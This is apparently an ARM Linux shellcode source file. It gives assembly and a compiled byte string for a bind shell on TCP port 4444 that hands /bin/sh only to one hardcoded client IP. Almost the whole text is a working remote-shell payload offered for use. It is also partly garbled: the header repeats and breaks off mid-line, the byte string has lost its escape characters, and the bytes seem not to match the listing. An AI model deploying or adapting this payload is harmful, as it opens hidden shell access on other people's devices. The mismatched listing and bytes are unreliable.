/*
* Title: Linux/ARM - IP Controlled Bind Shell TCP (/bin/sh). Null free shellcode (168 bytes)
* Date: 2018-02-17
* Tested: armv7l (Raspberry Pi v3) and armv6l (Rasp /*
* Title: Linux/ARM - IP Controlled Bind Shell TCP (/bin/sh). Null free shellcode (168 bytes)
* Date: 2018-02-17
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description: The shellcode will only allow the connection to execute the shell if originating from the allowed IP.
* Otherwise, the connection is dropped and the shellcode will wait for a new connection.
*/

.section .text

.global _start
_start:
/* Enter Thumb mode */
.ARM
add r3, pc, #1
bx r3

.THUMB
nop // nop needed for address alignment

/* Create a new socket*/
mov r0, #2 // Add values for
mov r1, #1 // socket creation
eor r2, r2, r2 // Zero out r2
mov r7, #200 // Put 281 in r7 ...
add r7, #81 // ...in a 2-step fashion
svc #1 // Execute syscall

/* The new socket will be returned in r0, which will be used later, i
so save the new socket to another register (r4). */
mov r4, r0 // Save socket in r4


/* Bind socket */
adr r1, struct_addr // address to string "1,1,1,1"
strb r2, [r1, #1] // replace to 0 for AF_INET
str r2, [r1, #4] // write 0.0.0.0 to r2
mov r2, #16 // address length str r2, [r1, #4]
add r7, #1 // r7 already contains 281
svc #1 // Execute syscall


/* Listen for connections */
mov r0, r4 // r4 has saved sock_fd
mov r1, #2 // Backlog value
add r7, #2 // r7 already contains 282
svc #1


/* Accept incomming connections */
accept:
mov r0, r4 // r4 has saved sock_fd
mov r8, r4 // Save srv-socket in r8
eor r5, r5, r5 // Get some NULLs
adr r1, struct_client_addr // Put address of struct_client in r1
strb r5, [r1, #1] // replace 0 for AF_INET
adr r2, addr_len // Address to variable for addr_len
add r7, #1 // r7 already contains 284
svc #1

mov r4, r0 // save client_sock in r8


/* Compare the clients ip against the allowed..*/
adr r5, client_ip // Save the address to the clients IP in r5
adr r1, allowed_ip // Save the address to the allowed IP in r1

ldr r3, [r1] // Load the client IP value into r3
ldr r2, [r5] // Load one allowed IP value into r2

cmp r2, r3 // compare the bytes
bne close // Not same, close the connection



/* IP Address match */
/* Duplicate STDIN, STDOUT and STERR*/
mov r0, r4 // Saved sockfd
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall

mov r0, r4 // Saved sockfd
add r1, #1 // STDOUT
svc #1 // Execute syscall

mov r0, r4 // Saved sockfd
add r1, #1 // STDERR
svc #1 // Execute syscall


/* Execute shell */
adr r0, shellcode // address to "/bin/sh"
eor r1, r1, r1 // zero out r1
eor r2, r2, r2 // and r2
strb r2, [r0, #7] // Replace 'X' with NULL
mov r7, #11 // Syscall for execve
svc #1


/* Close current connection (used if connection is from unallowed IP) */
close:
mov r0, r4 // Put saved client sockfd into r0
mov r7, #6 // Syscall number for "close"
svc #1 // Execute syscall

/* r7 now contains 6, so we must restore the value to 284 (accept will add 1 to get the correct value)*/
mov r7, #200 // Put 284 in r7 ...
add r7, #84 // ...in a 2-step way
mov r4, r8 // Restore saved sock_fd to r4
b accept // After we closed the connection,
// wait for a new connection

/* Structs and variables */

struct_client_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x11" // Client port number
client_ip:
.byte 2,2,2,2 // Client IP Address (8 byte)

struct_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // Port number 4444
.byte 1,1,1,1 // IP Address (8 byte)

shellcode:
.ascii "/bin/shX"

allowed_ip:
.ascii "xc0xa8x01xbe" // The allowed IP (192.168.1.190)

addr_len:
.ascii "x10x10" // accept() must have the length of the struct in a variable

/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

x01x30x8fxe2x13xffx2fxe1xc0x46x02x20x01x21x52x40xc8x27x51x37x01xdfx04x1c
x1dxa1x4ax70x4ax60x10x22x01x37x01xdfx20x1cx02x21x02x37x01xdfx20x1cxa0x46
x6dx40x15xa1x4dx70x1bxa2x01x37x01xdfx04x1cx5bx40x52x40x12xa5x16xa1x05x26
x0bx78x2ax78x9ax42x14xd1x01x35x01x31x01x3ex01x2exf6xd1x20x1cx49x40x3fx27
x01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx0axa0x49x40x52x40xc2x71x0bx27
x01xdfx20x1cx06x27x01xdfxc8x27x54x37x44x46xd1xe7x02xffx11x5cx02x02x02x02
x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58xc0xa8x01xbex10x10xc0x46

*/